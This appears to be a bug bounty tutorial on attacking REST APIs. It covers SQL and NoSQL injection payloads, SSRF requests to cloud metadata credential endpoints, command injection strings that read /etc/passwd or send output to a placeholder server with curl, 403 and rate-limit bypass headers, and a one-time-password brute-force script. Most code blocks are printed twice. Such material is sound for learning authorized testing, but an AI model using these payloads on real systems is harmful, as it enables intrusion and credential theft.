June 20, 2026
API Fuzzing for Bug Bounty — Part 2b: Injection, Bypasses & Output Exploitation
In Part 2a, we broke down the auth and authorization layer, JWT attacks, IDOR chains, and mass assignment. This post picks up at the input…
Fuzzyy Duck
11 min read
In Part 2a, we broke down the auth and authorization layer, JWT attacks, IDOR chains, and mass assignment. This post picks up at the input layer: what happens when user-controlled data reaches parsers, databases, system calls, and rendering engines without proper sanitization.
This is where injection lives. It's also where the most creative bypass work happens, slipping past 403 blocks, evading WAFs, and getting output from systems that were never meant to return it.
1. SQL Injection in JSON API Bodies
Modern REST APIs pass data in JSON, but the backend often interpolates those values into SQL queries the same way legacy apps did with form fields. The injection technique is identical, only the transport format changes.
Basic Detection in a JSON Parameter
Start with the classic boolean and time-based probes, adapted for JSON delivery:
{"id": "56456"} ← baseline — note the response
{"id": "56456'"} ← odd quote — triggers a syntax error in many DBs
{"id": "56456 AND 1=1#"} ← should return same as baseline
{"id": "56456 AND 1=2#"} ← if different response → boolean-based SQLi confirmed
{"id": "56456 AND sleep(15)#"} ← 15-second delay confirms blind SQLi (MySQL)
{"id": "56456'; WAITFOR DELAY '0:0:15'--"} ← MSSQL time-based
{"id": "56456 AND pg_sleep(15)--"} ← PostgreSQL time-based{"id": "56456"} ← baseline — note the response
{"id": "56456'"} ← odd quote — triggers a syntax error in many DBs
{"id": "56456 AND 1=1#"} ← should return same as baseline
{"id": "56456 AND 1=2#"} ← if different response → boolean-based SQLi confirmed
{"id": "56456 AND sleep(15)#"} ← 15-second delay confirms blind SQLi (MySQL)
{"id": "56456'; WAITFOR DELAY '0:0:15'--"} ← MSSQL time-based
{"id": "56456 AND pg_sleep(15)--"} ← PostgreSQL time-basedThe AND 1=1 / AND 1=2 pair is your most reliable detection primitive. If the API returns different content or status codes for these two inputs, you have a boolean-based injection point.
Test Every Parameter Type
SQLi doesn't care about JSON nesting depth. Test strings, numbers, arrays, and nested objects:
Automating with SQLMap Against JSON Endpoints
Save the raw request from Burp Repeater as request.txt (include headers and body exactly as sent):
# Direct POST with JSON body
sqlmap -u "https://api.target.com/api/v1/users" \
--data '{"id":"1"}' \
--headers="Content-Type: application/json" \
--dbms=mysql \
--level=3 --risk=2 \
--batch
# Using a saved request file (most reliable)
sqlmap -r request.txt \
--level=5 --risk=3 \
--batch \
--technique=BEUSTQ ← tests all techniques
# Specify the injectable parameter
sqlmap -r request.txt -p "id" --batch# Direct POST with JSON body
sqlmap -u "https://api.target.com/api/v1/users" \
--data '{"id":"1"}' \
--headers="Content-Type: application/json" \
--dbms=mysql \
--level=3 --risk=2 \
--batch
# Using a saved request file (most reliable)
sqlmap -r request.txt \
--level=5 --risk=3 \
--batch \
--technique=BEUSTQ ← tests all techniques
# Specify the injectable parameter
sqlmap -r request.txt -p "id" --batchSQLMap's --technique flag controls which SQLi technique to attempt:
B— Boolean-based blindE— Error-basedU— UNION-basedS— Stacked queriesT— Time-based blindQ— Inline queries
For APIs that return minimal error detail, start with T (time-based) since it doesn't depend on response content differences.
2. NoSQL Injection — MongoDB Operator Injection
If the backend uses MongoDB or another NoSQL database, the injection approach is different. Instead of SQL syntax, you inject MongoDB query operators like $gt, $ne, $regex, and $where.
Login Bypass
The most common and impactful NoSQL injection target is a login endpoint:
# Normal login
{"username": "admin", "password": "wrongpassword"} → 401
# Inject MongoDB operator to bypass password check
{"username": "admin", "password": {"$gt": ""}} → 200 (password > empty string = always true)
{"username": "admin", "password": {"$ne": "x"}} → 200 (password != "x" = true for anything else)
{"username": {"$regex": "admin.*"}, "password": {"$gt": ""}}# Normal login
{"username": "admin", "password": "wrongpassword"} → 401
# Inject MongoDB operator to bypass password check
{"username": "admin", "password": {"$gt": ""}} → 200 (password > empty string = always true)
{"username": "admin", "password": {"$ne": "x"}} → 200 (password != "x" = true for anything else)
{"username": {"$regex": "admin.*"}, "password": {"$gt": ""}}Data Exfiltration via Regex
When you can't read data directly, use regex to binary-search field values character by character:
{"username": {"$regex": "^a"}} ← Does any username start with 'a'? Different response = yes
{"username": {"$regex": "^ad"}} ← Does any start with 'ad'?
{"username": {"$regex": "^adm"}} ← Keep narrowing down{"username": {"$regex": "^a"}} ← Does any username start with 'a'? Different response = yes
{"username": {"$regex": "^ad"}} ← Does any start with 'ad'?
{"username": {"$regex": "^adm"}} ← Keep narrowing downThis is slow but effective for extracting usernames, tokens, or any string field when the response only tells you "found" or "not found."
Signs You're Dealing with NoSQL
- MongoDB-style object IDs in responses:
{"_id": {"$oid": "507f1f77bcf86cd799439011"}} - Field names like
_id,__v,createdAt(Mongoose defaults) - Error messages mentioning MongoDB, Mongoose, or document-based storage
- Arrays returned directly from queries without pagination wrappers
URL-Based NoSQL Injection
NoSQL operators also work in query string parameters:
GET /api/users?username[$ne]=admin
GET /api/users?password[$gt]=
GET /api/users?role[$in][]=user&role[$in][]=adminGET /api/users?username[$ne]=admin
GET /api/users?password[$gt]=
GET /api/users?role[$in][]=user&role[$in][]=admin3. XXE (XML External Entity) Injection
XXE applies wherever XML is parsed. In APIs, this shows up in three scenarios: direct XML APIs, content-type switching on REST endpoints, and XML-based file uploads.
Scenario 1: Direct XML Endpoints
SOAP APIs and any REST endpoint with Content-Type: application/xml are direct XXE targets.
Basic file read:
Windows targets:
XXE to SSRF — read internal services:
Scenario 2: Switching REST Endpoints to XML
This is one of the highest-yield tricks in API testing. Many REST APIs are backed by frameworks that accept both JSON and XML without the developer realizing it. The JSON code path gets security scrutiny; the XML code path often doesn't.
Scenario 3: Out-of-Band (OOB) XXE for Blind Cases
When the response doesn't reflect the entity value, use OOB to exfiltrate data via DNS or HTTP to a server you control. Use Burp Collaborator for this:
Any DNS lookup or HTTP request to your Collaborator confirms blind XXE. To exfiltrate file contents OOB, host a malicious DTD file:
4. SSRF (Server-Side Request Forgery)
SSRF tricks the server into making HTTP requests on your behalf, to internal services, cloud metadata endpoints, or anything reachable from the server's network but not from yours.
Finding SSRF Entry Points in APIs
Any parameter that accepts a URL or hostname is a candidate:
?url=https://example.com
?webhook=https://your-server.com/callback
?callback=https://...
?redirect=https://...
?feed=https://...
?image_url=https://...
?avatar_url=https://...
?icon=https://...
?import=https://...
?target=https://...?url=https://example.com
?webhook=https://your-server.com/callback
?callback=https://...
?redirect=https://...
?feed=https://...
?image_url=https://...
?avatar_url=https://...
?icon=https://...
?import=https://...
?target=https://...Beyond URL parameters: profile picture upload by URL, PDF generation from URL, webhook registration, "import from URL" features, preview/screenshot services.
High-Impact SSRF Payloads
AWS EC2 metadata — the jackpot:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>
http://169.254.169.254/latest/user-data/http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>
http://169.254.169.254/latest/user-data/Successfully reading IAM credentials from the metadata endpoint is typically a critical finding, it gives you temporary AWS API keys that may have broad permissions.
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires: Metadata-Flavor: Google headerhttp://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires: Metadata-Flavor: Google headerAzure IMDS:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=...http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=...Internal network scanning:
http://10.0.0.1/
http://192.168.1.1/
http://172.16.0.1/
http://127.0.0.1:8080/
http://localhost:9200/ ← Elasticsearch
http://localhost:6379/ ← Redis
http://localhost:27017/ ← MongoDB
http://localhost:5984/ ← CouchDB
http://localhost:8500/ ← Consulhttp://10.0.0.1/
http://192.168.1.1/
http://172.16.0.1/
http://127.0.0.1:8080/
http://localhost:9200/ ← Elasticsearch
http://localhost:6379/ ← Redis
http://localhost:27017/ ← MongoDB
http://localhost:5984/ ← CouchDB
http://localhost:8500/ ← ConsulBlind SSRF detection:
http://YOUR_COLLABORATOR.burpcollaborator.net/ssrf-testhttp://YOUR_COLLABORATOR.burpcollaborator.net/ssrf-testBypassing SSRF Filters
Many apps try to block SSRF by blacklisting 127.0.0.1, localhost, and 169.254.x.x. Here's how to bypass each approach:
Localhost alternatives:
http://0.0.0.0/
http://0/
http://2130706433/ ← 127.0.0.1 in decimal
http://0x7f000001/ ← 127.0.0.1 in hex
http://127.1/ ← Shorthand notation
http://127.0.1/
http://[::1]/ ← IPv6 localhost
http://[::ffff:127.0.0.1]/ ← IPv6-mapped IPv4http://0.0.0.0/
http://0/
http://2130706433/ ← 127.0.0.1 in decimal
http://0x7f000001/ ← 127.0.0.1 in hex
http://127.1/ ← Shorthand notation
http://127.0.1/
http://[::1]/ ← IPv6 localhost
http://[::ffff:127.0.0.1]/ ← IPv6-mapped IPv4DNS-based bypasses:
http://localtest.me/ ← Resolves to 127.0.0.1
http://customer1.app.localhost.my.company.127.0.0.1.nip.io/http://localtest.me/ ← Resolves to 127.0.0.1
http://customer1.app.localhost.my.company.127.0.0.1.nip.io/Protocol alternatives (if HTTP is filtered):
dict://127.0.0.1:6379/INFO ← Redis command over dict://
gopher://127.0.0.1:6379/_INFO ← Redis via Gopher
file:///etc/passwd ← Local file readdict://127.0.0.1:6379/INFO ← Redis command over dict://
gopher://127.0.0.1:6379/_INFO ← Redis via Gopher
file:///etc/passwd ← Local file readOpen redirect chaining: If the filter only checks the initial URL, use an open redirect on a trusted domain to bounce to the internal address:
https://trusted-domain.com/redirect?url=http://169.254.169.254/https://trusted-domain.com/redirect?url=http://169.254.169.254/5. Command Injection
Command injection in APIs lives in parameters that reach OS-level functions, file operations, image processing, network utilities, or any feature that shells out to external programs.
Finding Injectable Parameters
Think about what features might invoke system commands:
?filename=report.pdf ← File operations
?host=example.com ← DNS lookup, ping, traceroute
?domain=example.com ← WHOIS, SSL check
?ip=192.168.1.1 ← Network tools
?format=pdf ← File conversion (ImageMagick, wkhtmltopdf)
?cmd=status ← Rare, but exists in legacy admin APIs?filename=report.pdf ← File operations
?host=example.com ← DNS lookup, ping, traceroute
?domain=example.com ← WHOIS, SSL check
?ip=192.168.1.1 ← Network tools
?format=pdf ← File conversion (ImageMagick, wkhtmltopdf)
?cmd=status ← Rare, but exists in legacy admin APIsPayloads
# Command terminators
; id
| id
& id
&& id
|| id
# Subshell execution
`id`
$(id)
# URL-encoded
%3B id
%7C id
%26 id
%0a id ← newline injection
# Time-based detection (blind)
; sleep 10
& ping -c 10 127.0.0.1
| timeout 10 sleep 20# Command terminators
; id
| id
& id
&& id
|| id
# Subshell execution
`id`
$(id)
# URL-encoded
%3B id
%7C id
%26 id
%0a id ← newline injection
# Time-based detection (blind)
; sleep 10
& ping -c 10 127.0.0.1
| timeout 10 sleep 20Real API example:
# Normal
GET /api/endpoint?name=file.txt
# Injection
GET /api/endpoint?name=file.txt;ls%20/
GET /api/endpoint?name=file.txt|cat%20/etc/passwd
GET /api/endpoint?name=file.txt%0aid# Normal
GET /api/endpoint?name=file.txt
# Injection
GET /api/endpoint?name=file.txt;ls%20/
GET /api/endpoint?name=file.txt|cat%20/etc/passwd
GET /api/endpoint?name=file.txt%0aidRuby on Rails — Kernel#open Pattern
In RoR applications, the url= parameter sometimes passes values directly to Kernel#open, which accepts shell commands if prefixed with |:
?url=https://example.com ← Normal
?url=|ls / ← Command injection
?url=|cat /etc/passwd
?url=|curl http://your-server.com/$(id)?url=https://example.com ← Normal
?url=|ls / ← Command injection
?url=|cat /etc/passwd
?url=|curl http://your-server.com/$(id)Look for this in any Rails app with file fetch, import, or URL preview functionality.
6. HTTP Method Tampering
REST APIs map HTTP methods to CRUD operations and typically implement authorization checks per method. The problem: developers often only protect the expected method and forget the others.
Test All Methods on Every Endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" \
-X $method "https://api.target.com/api/v1/users/123" \
-H "Authorization: Bearer <your_token>" \
-H "Content-Type: application/json"
echo
donefor method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" \
-X $method "https://api.target.com/api/v1/users/123" \
-H "Authorization: Bearer <your_token>" \
-H "Content-Type: application/json"
echo
doneCommon findings:
DELETE /api/v1/users/123returns200even without admin tokenPUT /api/v1/admin/settingsreturns200for regular usersTRACEorTRACKenabled — can facilitate XST (Cross-Site Tracing) attacks
Method Override Headers
Some frameworks support method override via headers, allowing POST to simulate DELETE, PUT, etc. This bypasses WAF rules that block DELETE requests:
POST /api/v1/users/123
X-HTTP-Method-Override: DELETE
Content-Type: application/jsonPOST /api/v1/users/123
X-HTTP-Method-Override: DELETE
Content-Type: application/jsonAlso try:
X-HTTP-Method: DELETE
X-Method-Override: DELETE
_method=DELETE ← as a query parameter or form fieldX-HTTP-Method: DELETE
X-Method-Override: DELETE
_method=DELETE ← as a query parameter or form field7. Content-Type Manipulation
APIs that accept multiple content types apply security controls inconsistently between them. The JSON parser might sanitize input; the XML parser often doesn't. The form-data handler might skip validation the JSON handler enforces.
Switch the Content-Type and Reformat
Content-Type: application/json → normal request
Content-Type: application/xml → try XXE, different code path
Content-Type: text/xml → alternate XML trigger
Content-Type: application/x-www-form-urlencoded → bypass JSON-specific WAF rules
Content-Type: multipart/form-data → try file upload edge cases
Content-Type: text/plain → sometimes disables input validationContent-Type: application/json → normal request
Content-Type: application/xml → try XXE, different code path
Content-Type: text/xml → alternate XML trigger
Content-Type: application/x-www-form-urlencoded → bypass JSON-specific WAF rules
Content-Type: multipart/form-data → try file upload edge cases
Content-Type: text/plain → sometimes disables input validationPractical example — JSON to form-data bypass:
A WAF blocking SQL injection in JSON bodies may not check form-encoded data:
# Blocked
POST /api/v1/search
Content-Type: application/json
{"query": "1 UNION SELECT null,username,password FROM users--"}
# Try bypassing with form encoding
POST /api/v1/search
Content-Type: application/x-www-form-urlencoded
query=1+UNION+SELECT+null%2Cusername%2Cpassword+FROM+users--# Blocked
POST /api/v1/search
Content-Type: application/json
{"query": "1 UNION SELECT null,username,password FROM users--"}
# Try bypassing with form encoding
POST /api/v1/search
Content-Type: application/x-www-form-urlencoded
query=1+UNION+SELECT+null%2Cusername%2Cpassword+FROM+users--The Accept header: Change Accept: application/json to Accept: application/xml , some APIs respond in XML when asked, and the XML response may include more internal fields than the JSON version.
8. 403 Bypass — Getting Past Blocked Endpoints
A 403 Forbidden means the server knows the endpoint exists but refuses to serve it. That's actionable information, the target is there, you just need a different angle.
URL Suffix and Padding Tricks
Append these to the blocked path:
/api/v1/admin/users.json
/api/v1/admin/users?
/api/v1/admin/users#
/api/v1/admin/users%20
/api/v1/admin/users%09
/api/v1/admin/users%00
/api/v1/admin/users/
/api/v1/admin/users..;/
/api/v1/admin/users/..
/api/v1/admin/users/.
/api/v1/admin/users;//api/v1/admin/users.json
/api/v1/admin/users?
/api/v1/admin/users#
/api/v1/admin/users%20
/api/v1/admin/users%09
/api/v1/admin/users%00
/api/v1/admin/users/
/api/v1/admin/users..;/
/api/v1/admin/users/..
/api/v1/admin/users/.
/api/v1/admin/users;/Case and Encoding Manipulation
/api/v1/Admin/users
/api/v1/ADMIN/users
/api/V1/admin/users
/api/v1/admin/Users
/api/v1/%61dmin/users ← 'a' URL-encoded
/api/v1/admin/%75sers ← 'u' URL-encoded
/api/v1/admin/%2575sers ← double URL-encoded
/api/v1/admin/u%73ers ← 's' URL-encoded mid-word/api/v1/Admin/users
/api/v1/ADMIN/users
/api/V1/admin/users
/api/v1/admin/Users
/api/v1/%61dmin/users ← 'a' URL-encoded
/api/v1/admin/%75sers ← 'u' URL-encoded
/api/v1/admin/%2575sers ← double URL-encoded
/api/v1/admin/u%73ers ← 's' URL-encoded mid-wordPath Confusion
/api/v1/admin/./users
/api/v1/admin/%2e/users ← encoded dot-segment
/api/v1/safe/../admin/users
/api/v1/admin//users ← double slash/api/v1/admin/./users
/api/v1/admin/%2e/users ← encoded dot-segment
/api/v1/safe/../admin/users
/api/v1/admin//users ← double slashOverride Headers
Some web servers and reverse proxies honor these headers to override the requested path internally:
X-Original-URL: /api/v1/admin/users
X-Rewrite-URL: /api/v1/admin/users
X-Override-URL: /api/v1/admin/usersX-Original-URL: /api/v1/admin/users
X-Rewrite-URL: /api/v1/admin/users
X-Override-URL: /api/v1/admin/usersSend the legitimate path in the URL but the restricted path in the header:
GET /api/v1/public/health HTTP/1.1
Host: api.target.com
X-Original-URL: /api/v1/admin/usersGET /api/v1/public/health HTTP/1.1
Host: api.target.com
X-Original-URL: /api/v1/admin/usersTrusted IP Spoofing
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhostX-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhostSome internal-only endpoints check that the request comes from 127.0.0.1 — spoofing these headers bypasses that check on misconfigured servers.
9. Rate Limit Evasion
Rate limits protect auth endpoints, OTP flows, and scraping-prone data endpoints. Here's how to get around them.
IP Rotation via Headers
X-Forwarded-For: <rotating_ip>
X-Remote-IP: <rotating_ip>
X-Client-IP: <rotating_ip>
X-Remote-Addr: <rotating_ip>
X-Host: <rotating_ip>
True-Client-IP: <rotating_ip>
CF-Connecting-IP: <rotating_ip>X-Forwarded-For: <rotating_ip>
X-Remote-IP: <rotating_ip>
X-Client-IP: <rotating_ip>
X-Remote-Addr: <rotating_ip>
X-Host: <rotating_ip>
True-Client-IP: <rotating_ip>
CF-Connecting-IP: <rotating_ip>Use Burp Intruder with a pitchfork attack, pairing password guesses with rotating IPs in this header.
Email and Input Normalization Tricks
user@target.com
USER@target.com
user+label@target.com
user @target.com ← trailing space (trimmed server-side)user@target.com
USER@target.com
user+label@target.com
user @target.com ← trailing space (trimmed server-side)Some systems count rate limit attempts per email address. If the system normalizes on the backend but doesn't normalize before the counter check, these are treated as different users.
Endpoint Rotation
Test whether each login path has its own counter:
/api/login → 5 attempts → locked
/api/mobile/login → fresh 5 attempts available
/api/v1/auth → fresh counter/api/login → 5 attempts → locked
/api/mobile/login → fresh 5 attempts available
/api/v1/auth → fresh counterRace Conditions
For short-lived tokens like OTPs and magic links, send a burst of attempts simultaneously before the counter updates. Use Turbo Intruder in Burp:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
pipeline=False)
for otp in ['000001', '000002', '000003', ...]:
engine.queue(target.req, otp)
def handleResponse(req, interesting):
if '200' in req.response or 'success' in req.response:
table.add(req)def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
pipeline=False)
for otp in ['000001', '000002', '000003', ...]:
engine.queue(target.req, otp)
def handleResponse(req, interesting):
if '200' in req.response or 'success' in req.response:
table.add(req)More on Rate limit Bypassses:
Breaking Rate Limiting: Where It Breaks and How Attackers Bypass It A practical guide to finding, bypassing, and fixing rate-limit flaws in real-world web apps
10. Information Exposure & Output-Phase Vulnerabilities
Vulnerabilities in how API responses are generated and rendered are just as impactful as input-layer bugs.
Excessive Data Exposure
The API returns far more than the frontend displays. Always compare the raw API response to what the UI renders:
{
"id": 123,
"name": "John Doe",
"email": "john@example.com",
"password_hash": "$2b$10$abc...", ← credential leak — immediate critical
"api_key": "sk_live_xxxx", ← live API key
"internal_notes": "Flagged for fraud",
"ssn": "123-45-6789",
"is_admin": true,
"reset_token": "abc123" ← account takeover via reset token
}{
"id": 123,
"name": "John Doe",
"email": "john@example.com",
"password_hash": "$2b$10$abc...", ← credential leak — immediate critical
"api_key": "sk_live_xxxx", ← live API key
"internal_notes": "Flagged for fraud",
"ssn": "123-45-6789",
"is_admin": true,
"reset_token": "abc123" ← account takeover via reset token
}The UI renders only name and email. The raw response leaks everything.
Sensitive Data in GET Parameters
GET /api/v1/users?api_key=abcd1234
GET /api/v1/export?token=eyJhbG...
GET /api/reset-password?token=abc123xyzGET /api/v1/users?api_key=abcd1234
GET /api/v1/export?token=eyJhbG...
GET /api/reset-password?token=abc123xyzThese tokens end up in server logs, browser history, Referer headers, and analytics tools. Document all occurrences.
Debug Endpoints
GET /api/debug
GET /api/v1/health
GET /actuator ← Spring Boot
GET /actuator/env ← Exposes ALL environment variables (credentials, keys)
GET /actuator/heapdump ← JVM memory dump
GET /actuator/mappings ← Lists all endpoints
GET /actuator/beans
GET /__debug__
GET /api/phpinfo
GET /api/config
GET /api/statusGET /api/debug
GET /api/v1/health
GET /actuator ← Spring Boot
GET /actuator/env ← Exposes ALL environment variables (credentials, keys)
GET /actuator/heapdump ← JVM memory dump
GET /actuator/mappings ← Lists all endpoints
GET /actuator/beans
GET /__debug__
GET /api/phpinfo
GET /api/config
GET /api/statusSpring Boot Actuator endpoints are particularly impactful. /actuator/env can dump database credentials, API keys, and secret keys set as environment variables.
XSS via PDF / HTML Export
PDF generation endpoints that render HTML through headless browsers (Chrome, wkhtmltopdf) are often vulnerable to server-side XSS. Any text input that ends up reflected in an exported document is a candidate.
Target endpoints containing: export, download, generate, pdf, report, receipt, invoice, statement
Payloads — inject into any reflected text field (name, address, notes, description):
<!-- Local file read via iframe -->
<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts"></iframe>
<!-- SSRF via object tag -->
<object data="http://127.0.0.1:8443/admin"/>
<object data="http://169.254.169.254/latest/meta-data/"/>
<!-- Port scan via img load timing — open port responds in < 2.3s -->
<img src="http://127.0.0.1:22"/>
<img src="http://127.0.0.1:3306"/>
<img src="http://127.0.0.1:6379"/>
<!-- Real IP leak via external callback -->
<img src="https://your-burp-collaborator.net/pdf-ssrf"/>
<!-- Redirect loop DoS -->
<iframe src="http://example.com/RedirectionLoop.aspx"/><!-- Local file read via iframe -->
<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts"></iframe>
<!-- SSRF via object tag -->
<object data="http://127.0.0.1:8443/admin"/>
<object data="http://169.254.169.254/latest/meta-data/"/>
<!-- Port scan via img load timing — open port responds in < 2.3s -->
<img src="http://127.0.0.1:22"/>
<img src="http://127.0.0.1:3306"/>
<img src="http://127.0.0.1:6379"/>
<!-- Real IP leak via external callback -->
<img src="https://your-burp-collaborator.net/pdf-ssrf"/>
<!-- Redirect loop DoS -->
<iframe src="http://example.com/RedirectionLoop.aspx"/>DoS via Limit Parameter Inflation
Any limit, page_size, or results parameter that isn't capped server-side can be used to force the database to fetch and serialize millions of rows:
GET /api/news?limit=100 ← normal
GET /api/news?limit=9999999999 ← forces full table scan + serialization
GET /api/search?results=9999999
GET /api/users?per_page=999999GET /api/news?limit=100 ← normal
GET /api/news?limit=9999999999 ← forces full table scan + serialization
GET /api/search?results=9999999
GET /api/users?per_page=999999This is typically a Medium severity finding. The fix is a server-side maximum cap. Report it with evidence that the response time increases dramatically with the inflated value.
Quick Reference Checklist
Injection
- SQLi: boolean + time-based in all JSON body params
- SQLi: tested in nested and array JSON values
- NoSQL:
$gt,$ne,$regexin login and filter params - XXE: direct XML endpoints
- XXE: content-type switching (JSON → XML)
- XXE: OOB via Burp Collaborator for blind cases
- SSRF: all URL-accepting parameters
- SSRF: cloud metadata (
169.254.169.254, GCP, Azure) - SSRF: localhost aliases and encoding bypasses
- Command injection: file, network, and system params
- RoR:
?url=|commandKernel#open pattern
Bypasses
- HTTP method tampering (all verbs per endpoint)
- Method override headers (
X-HTTP-Method-Override) - Content-type switching (JSON → XML → form-encoded)
- 403 bypass: URL suffix tricks
- 403 bypass: case and encoding manipulation
- 403 bypass:
X-Original-URL/X-Rewrite-URLheaders - 403 bypass: trusted IP header spoofing
- Rate limit: IP rotation via X-Forwarded-For
- Rate limit: email normalization tricks
- Rate limit: rotate across multiple auth endpoints
- Rate limit: race conditions via Turbo Intruder
Output
- Excessive data exposure in all API responses
- Sensitive data in GET query params
- Debug/actuator endpoints checked
- XSS in PDF/HTML export (file read, SSRF, port scan)
- DoS via
limitparameter inflation
What's Next: Part 3
Parts 2a and 2b have covered the full REST API exploitation playbook. In Part 3, we shift to GraphQL, a fundamentally different query model that most hunters haven't fully cracked.
GraphQL deserves its own deep dive: introspection abuse, batching-based rate limit bypass, deeply nested query DoS, schema enumeration without introspection, mutation-based injection, and the full tooling setup from scratch.